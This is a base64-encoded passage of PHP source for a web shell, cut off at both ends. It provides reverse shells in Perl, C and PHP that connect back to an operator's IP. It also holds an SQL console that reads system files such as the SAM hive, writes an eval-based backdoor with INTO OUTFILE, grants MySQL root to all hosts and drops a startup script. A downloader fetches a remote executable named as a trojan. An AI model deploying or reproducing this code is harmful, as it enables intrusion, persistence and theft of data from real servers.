Tl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4NCgkJCSJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIi4NCgkJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkJCWVjaG8gRmlsZV9Xcml0ZSgnL3RtcC9lbnZsX2JjJyxiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfcGwpLCd3YicpID8gJ7S0vagvdG1wL2VudmxfYmOzybmmPGJyPicgOiAntLS9qC90bXAvZW52bF9iY8qnsNw8YnI+JzsNCgkJCSRwZXJscGF0aCA9IEV4ZWNfUnVuKCd3aGljaCBwZXJsJyk7DQoJCQkkcGVybHBhdGggPSAkcGVybHBhdGggPyBjaG9wKCRwZXJscGF0aCkgOiAncGVybCc7DQoJCQlAdW5saW5rKCcvdG1wL2VudmxfYmMuYycpOw0KCQkJZWNobyBFeGVjX1J1bigkcGVybHBhdGguJyAvdG1wL2VudmxfYmMgJy4kX1BPU1RbJ3lvdXJpcCddLicgJy4kX1BPU1RbJ3lvdXJwb3J0J10uJyAmJykgPyAnbmMgLXZ2IC1sICcuJF9QT1NUWyd5b3VycG9ydCddIDogJ9a00NDD/MHuyqew3Cc7DQoJCX0NCgkJaWYoJF9QT1NUWyd1c2UnXSA9PSAnYycpDQoJCXsNCgkJCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLg0KCQkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLg0KCQkJIlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQiLg0KCQkJIktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLg0KCQkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLg0KCQkJIkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QiLg0KCQkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLg0KCQkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCgkJCWVjaG8gRmlsZV9Xcml0ZSgnL3RtcC9lbnZsX2JjLmMnLGJhc2U2NF9kZWNvZGUoJGJhY2tfY29ubmVjdF9jKSwnd2InKSA/ICe0tL2oL3RtcC9lbnZsX2JjLmOzybmmPGJyPicgOiAntLS9qC90bXAvZW52bF9iYy5jyqew3Dxicj4nOw0KCQkJJHJlcyA9IEV4ZWNfUnVuKCdnY2MgLW8gL3RtcC9lbnZsX2JjIC90bXAvZW52bF9iYy5jJyk7DQoJCQlAdW5saW5rKCcvdG1wL2VudmxfYmMuYycpOw0KCQkJZWNobyBFeGVjX1J1bignL3RtcC9lbnZsX2JjICcuJF9QT1NUWyd5b3VyaXAnXS4nICcuJF9QT1NUWyd5b3VycG9ydCddLicgJicpID8gJ25jIC12diAtbCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOw0KCQl9DQoJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ3BocCcpDQoJCXsNCgkJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ3NvY2tldHMnKSkNCiAgICAgICAgICAgew0KCSAgICAgICAgaWYgKCRzeXN0ZW0gPT0gJ1dJTicpIHsNCgkJICAgICAgICBAZGwoJ3BocF9zb2NrZXRzLmRsbCcpIG9yIGRpZSgiQ2FuJ3QgbG9hZCBzb2NrZXQiKTsNCgkgICAgICAgIH1lbHNlew0KCSAgICAJICAgIEBkbCgnc29ja2V0cy5zbycpIG9yIGRpZSgiQ2FuJ3QgbG9hZCBzb2NrZXQiKTsNCgkgICAgICAgIH0NCiAgICAgICAgICAgfQ0KCQkgICBpZigkc3lzdGVtPT0iV0lOIikNCiAgICAgICAgICAgew0KICAgICAgICAgCSRlbnY9YXJyYXkoJ3BhdGgnID0+ICdjOlxcd2luZG93c1xcc3lzdGVtMzInKTsNCiAgICAgICAgICAgIH1lbHNlew0KCSAgICAgICAgJGVudiA9IGFycmF5KCdQQVRIJyA9PiAnL2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluJyk7DQogICAgICAgICAgIH0NCiAgICAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQogICAgICAgICAJMCA9PiBhcnJheSgicGlwZSIsInIiKSwNCgkgICAgICAgIDEgPT4gYXJyYXkoInBpcGUiLCJ3IiksDQoJICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwidyIpLA0KICAgICAgICAgICApOw0KCQkgICAkaG9zdCA9ICRfUE9TVFsneW91cmlwJ107DQogICAgICAgCSAgICRwb3J0ID0gJF9QT1NUWyd5b3VycG9ydCddOw0KICAgICAgICAgICAkaG9zdD1nZXRob3N0YnluYW1lKCRob3N0KTsNCiAgICAgICAgICAgJHByb3RvPWdldHByb3RvYnluYW1lKCJ0Y3AiKTsNCiAgICAgICAgICAgaWYoKCRzb2NrPXNvY2tldF9jcmVhdGUoQUZfSU5FVCxTT0NLX1NUUkVBTSwkcHJvdG8pKTwwKXsNCiAgICAgICAgICAgICBkaWUoIlNvY2tldLS0vajKp7DcIik7DQogICAgICAgICAgIH0NCiAgICAgICAgICAgaWYoKCRyZXQ9c29ja2V0X2Nvbm5lY3QoJHNvY2ssJGhvc3QsJHBvcnQpKTwwKXsNCiAgICAgICAgICAgICBkaWUoIsGsvdPKp7DcIik7DQogICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICRtZXNzYWdlPSItLS0tLS0tLS0tLS0tLS0tLS0tLS0tUEhQt7S1r8GsvdMtLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCiAgICAgICAgICAgICBzb2NrZXRfd3JpdGUoJHNvY2ssJG1lc3NhZ2Usc3RybGVuKCRtZXNzYWdlKSk7DQogICAgICAgICAgICAgJGN3ZD1zdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKF9fRklMRV9fKSk7DQogICAgICAgICAgICAgd2hpbGUoJGNtZD1zb2NrZXRfcmVhZCgkc29jayw2NTUzNSwkcHJvdG8pKXsNCiAgICAgICAgICAgICAgICBpZih0cmltKHN0cnRvbG93ZXIoJGNtZCkpPT0iZXhpdCIpew0KICAgICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkc29jaywiQnllXG4iKTsNCiAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRjbWQsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzLCAkY3dkLCAkZW52KTsNCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoJICAgICAgICAgICAgICAgIGZ3cml0ZSgkcGlwZXNbMF0sICRjbWQpOw0KCSAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsNCgkgICAgICAgICAgICAgICAgJG1zZz1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7DQoJICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkc29jaywkbXNnLHN0cmxlbigkbXNnKSk7DQoJICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOw0KCSAgICAgICAgICAgICAgICAkbXNnPXN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzJdKTsNCgkgICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRzb2NrLCRtc2csc3RybGVuKCRtc2cpKTsNCgkgICAgICAgICAgICAgICAgJHJldHVybl92YWx1ZSA9IHByb2NfY2xvc2UoJHByb2Nlc3MpOw0KICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoJCSAgIH0NCgkJICB9DQoJCX0NCgkJaWYoJF9QT1NUWyd1c2UnXSA9PSAnbmMnKQ0KCQl7DQoJICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSAkbWlwPSRfUE9TVFsneW91cmlwJ107DQoJCSAkYnBvcnQ9JF9QT1NUWyd5b3VycG9ydCddOw0KCQkgJGZwPWZzb2Nrb3BlbigkbWlwICwgJGJwb3J0ICwgJGVycm5vLCAkZXJyc3RyKTsNCgkJIGlmICghJGZwKXsNCgkJICAgICAkcmVzdWx0ID0gIkVycm9yOiBjb3VsZCBub3Qgb3BlbiBzb2NrZXQgY29ubmVjdGlvbiI7DQoJCSAgICB9ZWxzZSB7DQoJCSBmcHV0cyAoJGZwICwiXG4qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcbg0KCQkgICAgICAgICAgICAgIGhhY2tpbmcgdXJsOmh0dHA6Ly93d3cuZ29vZ2xlLmNvbSBpcyBvayENCgkJCSAgICAgICAgICBcbioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlxuXG4iKTsNCgkgICAgIHdoaWxlKCFmZW9mKCRmcCkpew0KICAgICAgICAgZnB1dHMgKCRmcCwiIFtyMDB0QHl6ZGRtcjY6L3Jvb3RdIyAiKTsNCiAgICAgICAgICRyZXN1bHQ9IGZnZXRzICgkZnAsIDQwOTYpOw0KICAgICAgICAgJG1lc3NhZ2U9YCRyZXN1bHRgOw0KICAgICAgICAgZnB1dHMgKCRmcCwiLS0+ICIuJG1lc3NhZ2UuIlxuIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgIGZjbG9zZSAoJGZwKTsNCgkJICAgICAgIH0NCiAgICAgICAgIGVjaG8gJzwvZGl2Pic7DQoJCX0NCg0KCQllY2hvICc8YnI+xOO/ydLUs6LK1MGsvdO2y7/aIChuYyAtdnYgLWwgJy4kX1BPU1RbJ3lvdXJwb3J0J10uJykgJzsNCgl9DQpicmVhazsNCg0KCWNhc2UgInNxbHNoZWxsIjoNCgkkTVNHX0JPWCA9ICcnOw0KCSRtaG9zdCA9ICdsb2NhbGhvc3QnOyAkbXVzZXIgPSAncm9vdCc7ICRtcG9ydCA9ICczMzA2JzsgJG1wYXNzID0gJyc7ICRtZGF0YSA9ICdteXNxbCc7ICRtc3FsID0gJ3NlbGVjdCB2ZXJzaW9uKCk7JzsNCglpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpDQoJew0KCQkkbWhvc3QgPSAkX1BPU1RbJ21ob3N0J107ICRtdXNlciA9ICRfUE9TVFsnbXVzZXInXTsgJG1wYXNzID0gJF9QT1NUWydtcGFzcyddOyAkbWRhdGEgPSAkX1BPU1RbJ21kYXRhJ107ICRtcG9ydCA9ICRfUE9TVFsnbXBvcnQnXTsNCgkJaWYoJGNvbm4gPSBteXNxbF9jb25uZWN0KCRtaG9zdC4nOicuJG1wb3J0LCRtdXNlciwkbXBhc3MpKSBAbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7DQoJCWVsc2UgJE1TR19CT1ggPSAnway9001ZU1FMyqew3Cc7DQoJfQ0KCSRkb3duZmlsZSA9ICdjOi93aW5kb3dzL3JlcGFpci9zYW0nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ2Rvd25maWxlJ10pKQ0KCXsNCgkJJGRvd25maWxlID0gRmlsZV9TdHIoJF9QT1NUWydkb3duZmlsZSddKTsNCgkJJGJpbnBhdGggPSBiaW4yaGV4KCRkb3duZmlsZSk7DQoJCSRxdWVyeSA9ICdzZWxlY3QgbG9hZF9maWxlKDB4Jy4kYmlucGF0aC4nKSc7DQoJCWlmKCRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJew0KCQkJJGsgPSAwOyAkZG93bmNvZGUgPSAnJzsNCgkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRkb3duY29kZSAuPSAkcm93WyRrXTskaysrO30NCgkJCSRmaWxlZG93biA9IGJhc2VuYW1lKCRkb3duZmlsZSk7DQoJCQlpZighJGZpbGVkb3duKSAkZmlsZWRvd24gPSAnZW52bC50bXAnOw0KCQkJJGFycmF5ID0gZXhwbG9kZSgnLicsICRmaWxlZG93bik7DQoJCQkkYXJyYXllbmQgPSBhcnJheV9wb3AoJGFycmF5KTsNCgkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGFycmF5ZW5kKTsNCgkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWRvd24pOw0KCQkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5zdHJsZW4oJGRvd25jb2RlKSk7DQoJCQllY2hvICRkb3duY29kZTsNCgkJCWV4aXQ7DQoJCX0NCgkJZWxzZSAkTVNHX0JPWCA9ICfPwtTYzsS8/sqnsNwnOw0KCX0NCgkkbyA9IGlzc2V0KCRfR0VUWydvJ10pID8gJF9HRVRbJ28nXSA6ICcnOw0KcHJpbnQ8PDxFTkQNCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gbkZ1bGwoaSl7DQoJU3RyID0gbmV3IEFycmF5KDExKTsNCglTdHJbMF0gPSAic2VsZWN0IHZlcnNpb24oKTsiOw0KCVN0clsxXSA9ICJzZWxlY3QgbG9hZF9maWxlKDB4NjMzQTVDNUM3NzY5NkU2NDZGNzc3MzVDNzM3OTczNzQ2NTZEMzMzMjVDNUM2OTZFNjU3NDczNzI3NjVDNUM2RDY1NzQ2MTYyNjE3MzY1MkU3ODZENkMpIEZST00gdXNlciBpbnRvIG91dGZpbGUgJ0Q6L3dlYi9paXMudHh0JyI7DQoJU3RyWzJdID0gInNlbGVjdCAnIGV2YWwoXCRfUE9TVFtjbWRdKTsnIGludG8gb3V0ZmlsZSAnRjovd2ViL2Jhay5waHAnOyI7DQoJU3RyWzNdID0gIkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OICouKiBUTyAncm9vdCdAJyUnIElERU5USUZJRUQgQlkgJzEyMzQ1NicgV0lUSCBHUkFOVCBPUFRJT047IjsNCgluZm9ybS5tc3FsLnZhbHVlID0gU3RyW2ldOw0KCXJldHVybiB0cnVlOw0KfQ0KRU5EOw0KaHRtbF9iYXNlKCk7DQpwcmludDw8PEVORA0KZnVuY3Rpb24gU3VibWl0VXJsKCl7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXNxbCcpLnZhbHVlID0gYmFzZTY0ZW5jb2RlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtc3FsJykudmFsdWUpOw0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25mb3JtJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ibmZvcm0iIGlkPSJuZm9ybSI+DQo8Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+PGEgaHJlZj0iP2VhbnZlcj1zcWxzaGVsbCI+W01ZU1FM1rTQ0NPvvuRdPC9hPg0KPGEgaHJlZj0iP2VhbnZlcj1zcWxzaGVsbCZvPXUiPltNWVNRTMnPtKvOxLz+XTwvYT4NCjxhIGhyZWY9Ij9lYW52ZXI9c3Fsc2hlbGwmbz1kIj5bTVlTUUzPwtTYzsS8/l08L2E+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KtdjWtyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJ7JG1ob3N0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCrbLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wb3J0IiB2YWx1ZT0ieyRtcG9ydH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQrTw7unIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtdXNlciIgdmFsdWU9InskbXVzZXJ9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0Kw9zC6yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSJ7JG1wYXNzfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCr/iw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1kYXRhIiB2YWx1ZT0ieyRtZGF0YX0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDoyMjBweDsiPg0KRU5EOw0KaWYoJG8gPT0gJ3UnKQ0Kew0KCSR1cHBhdGggPSAnQzovRG9jdW1lbnRzIGFuZCBTZXR0aW5ncy9BbGwgVXNlcnMvobi/qsq8obmyy7WlL7PM0PIvxvS2ry9leHAudmJzJzsNCglpZighZW1wdHkoJF9QT1NUWyd1cHBhdGgnXSkpDQoJew0KCQkkdXBwYXRoID0gJF9QT1NUWyd1cHBhdGgnXTsNCgkJJHF1ZXJ5ID0gJ0NyZWF0ZSBUQUJMRSBhIChjbWQgdGV4dCBOT1QgTlVMTCk7JzsNCgkJaWYoQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpDQoJCXsNCgkJCWlmKCR0bXBjb2RlID0gRmlsZV9SZWFkKCRfRklMRVNbJ3VwZmlsZSddWyd0bXBfbmFtZSddKSl7JGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcGNvZGUpKTt9DQoJCQllbHNleyR0bXAgPSBGaWxlX1N0cihkaXJuYW1lKG15YWRkcmVzcykpLicvdXBmaWxlLnRtcCc7aWYoRmlsZV9VcCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSwkdG1wKSl7JGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcCkpO0B1bmxpbmsoJHRtcCk7fX0NCgkJCSRxdWVyeSA9ICdJbnNlcnQgSU5UTyBhIChjbWQpIFZBTFVFUyhDT05WRVJUKDB4Jy4kZmlsZWNvZGUuJyxDSEFSKSk7JzsNCgkJCWlmKEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pKQ0KCQkJew0KCQkJCSRxdWVyeSA9ICdTRUxFQ1QgY21kIEZST00gYSBJTlRPIERVTVBGSUxFIFwnJy4kdXBwYXRoLidcJzsnOw0KCQkJCSRNU0dfQk9YID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAnyc+0q87EvP6zybmmJyA6ICfJz7SrzsS8/sqnsNwnOw0KCQkJfQ0KCQkJZWxzZSAkTVNHX0JPWCA9ICey5cjrwdnKsbHtyqew3Cc7DQoJCQlAbXlzcWxfcXVlcnkoJ0Ryb3AgVEFCTEUgSUYgRVhJU1RTIGE7JywkY29ubik7DQoJCX0NCgkJZWxzZSAkTVNHX0JPWCA9ICe0tL2owdnKsbHtyqew3Cc7DQoJfQ0KcHJpbnQ8PDxFTkQNCjxicj48YnI+yc+0q8K3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVwcGF0aCIgdmFsdWU9InskdXBwYXRofSIgc3R5bGU9IndpZHRoOjUwMHB4Ij4NCjxicj48YnI+0aHU8c7EvP4gPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwZmlsZSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDoyMnB4OyI+DQo8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLJz7SrIiBzdHlsZT0id2lkdGg6ODBweDsiPg0KRU5EOw0KfQ0KZWxzZWlmKCRvID09ICdkJykNCnsNCnByaW50PDw8RU5EDQo8YnI+PGJyPjxicj7PwtTYzsS8/iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZG93bmZpbGUiIHZhbHVlPSJ7JGRvd25maWxlfSIgc3R5bGU9IndpZHRoOjUwMHB4Ij4NCjwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Is/C1NgiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQpFTkQ7DQp9DQplbHNlDQp7DQoJaWYoIWVtcHR5KCRfUE9TVFsnbXNxbCddKSkNCgl7DQoJCSRtc3FsID0gJF9QT1NUWydtc3FsJ107DQoJCSRtc3FsID0gYmFzZTY0X2RlY29kZSgkbXNxbCk7DQoJCWlmKCRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJG1zcWwsJGNvbm4pKQ0KCQl7DQoJCQkkTVNHX0JPWCA9ICfWtNDQU1FM0+++5LPJuaY8YnI+JzsNCgkJCSRrID0gMDsNCgkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRNU0dfQk9YIC49ICRyb3dbJGtdOyRrKys7fQ0KCQl9DQoJCWVsc2UgJE1TR19CT1ggLj0gbXlzcWxfZXJyb3IoKTsNCgl9DQpwcmludDw8PEVORA0KPHRleHRhcmVhIG5hbWU9Im1zcWwiIGlkPSJtc3FsIiBzdHlsZT0id2lkdGg6NzAwcHg7aGVpZ2h0OjIwMHB4OyI+eyRtc3FsfTwvdGV4dGFyZWE+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIG5GdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7P1Mq+sOaxvjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEiPrW8s/bOxLz+PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMiI+0LTI687EvP48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIzIj6/qsb0zeLBrDwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i1rTQ0CIgb25jbGljaz0iU3VibWl0VXJsKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPg0KRU5EOw0KfQ0KCWlmKCRNU0dfQk9YICE9ICcnKSBlY2hvICc8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPicuJE1TR19CT1guJzwvZGl2PjwvY2VudGVyPjwvZm9ybT4nOw0KCWVsc2UgZWNobyAnPC9kaXY+PC9jZW50ZXI+PC9mb3JtPic7DQoJYnJlYWs7DQoNCiAgICBjYXNlICJkb3dubG9hZGVyIjoNCgkkQ29tX2R1cmwgPSBpc3NldCgkX1BPU1RbJ2R1cmwnXSkgPyAkX1BPU1RbJ2R1cmwnXSA6ICdodHRwOi8vd3d3LmJhaWR1LmNvbS9kb3duL211bWEuZXhlJzsNCgkkQ29tX2RwYXRoPSBpc3NldCgkX1BPU1RbJ2RwYXRoJ10pID8gJF9QT1NUWydkcGF0aCddIDogRmlsZV9TdHIoZGlybmFtZShteWFkZHJlc3MpLicvbXVtYS5leGUnKTsNCnByaW50PDw8RU5EDQoJPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICA8ZGl2IGNsYXNzPSJhY3RhbGwiPrOsway90yA8aW5wdXQgbmFtZT0iZHVybCIgdmFsdWU9InskQ29tX2R1cmx9IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJhY3RhbGwiPs/C1Ni1vSA8aW5wdXQgbmFtZT0iZHBhdGgiIHZhbHVlPSJ7JENvbV9kcGF0aH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHZhbHVlPSLPwtTYIiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPg0KRU5EOw0KCWlmKCghZW1wdHkoJF9QT1NUWydkdXJsJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZHBhdGgnXSkpKQ0KCXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkkY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydkdXJsJ10pOw0KCQlpZighJGNvbnRlbnRzKSBlY2hvICfO3reotsHIodKqz8LU2LXEyv2+3Sc7DQoJCWVsc2UgZWNobyBGaWxlX1dyaXRlKCRfUE9TVFsnZHBhdGgnXSwkY29udGVudHMsJ3diJykgPyAnz8LU2M7EvP6zybmmJyA6ICfPwtTYzsS8/sqnsNwnOw0KCQllY2hvICc8L2Rpdj4nOw0KCX0NCglicmVhazsNCg0KCWNhc2UgImlzc3FsIjoNCglzZXNzaW9uX3N0YXJ0KCk7DQogIGlmKCRfUE9TVFsnc3FsdXNlciddICYmICRfUE9TVFsnc3FscGFzcyddKXsNCiAgICAkX1NFU1NJT05bJ3NxbF91c2VyJ10gPSAkX1BPU1RbJ3NxbHVzZXInXTsNCiAgICAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddID0gJF9QT1NUWydzcWxwYXNzJ107DQogIH0NCiAgaWYoJF9QT1NUWydzcWxob3N0J10peyRfU0VTU0lPTlsnc3FsX2hvc3QnXSA9ICRfUE9TVFsnc3FsaG9zdCddO30NCiAgZWxzZXskX1NFU1NJT05bJ3NxbF9ob3N0J10gPSAnbG9jYWxob3N0Jzt9DQogIGlmKCRfUE9TVFsnc3FscG9ydCddKXskX1NFU1NJT05bJ3NxbF9wb3J0J10gPSAkX1BPU1RbJ3NxbHBvcnQnXTt9DQogIGVsc2V7JF9TRVNTSU9OWydzcWxfcG9ydCddID0gJzMzMDYnO30NCiAgaWYoJF9TRVNTSU9OWydzcWxfdXNlciddICYmICRfU0VTU0lPTlsnc3FsX3Bhc3N3b3JkJ10pew0KICAgIGlmKCEoJHNxbGNvbiA9IEBteXNxbF9jb25uZWN0KCRfU0VTU0lPTlsnc3FsX2hvc3QnXS4nOicuJF9TRVNTSU9OWydzcWxfcG9ydCddLCRfU0VTU0lPTlsnc3FsX3VzZXInXSwkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddKSkpew0KICAgICAgdW5zZXQoJF9TRVNTSU9OWydzcWxfdXNlciddLCAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddLCAkX1NFU1NJT05bJ3NxbF9ob3N0J10sICRfU0VTU0lPTlsnc3FsX3BvcnQnXSk7DQogICAgICBkaWUoaHRtbF9hKCc/ZWFudmVyPXNxbHNoZWxsJywnway908qnsNzH67e1u9gnKSk7DQogICAgfQ0KICB9DQogIGVsc2V7DQogICAgZGllKGh0bWxfYSgnP2VhbnZlcj1zcWxzaGVsbCcsJ8GsvdPKp7Dcx+u3tbvYJykpOw0KICB9DQogICRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTSE9XIERBVEFCQVNFUyIsJHNxbGNvbik7DQogIGh0bWxfbignPHRyPjx0ZD7K/b7dv+LB0LHtOicpOw0KICB3aGlsZSgkZGIgPSBteXNxbF9mZXRjaF9hcnJheSg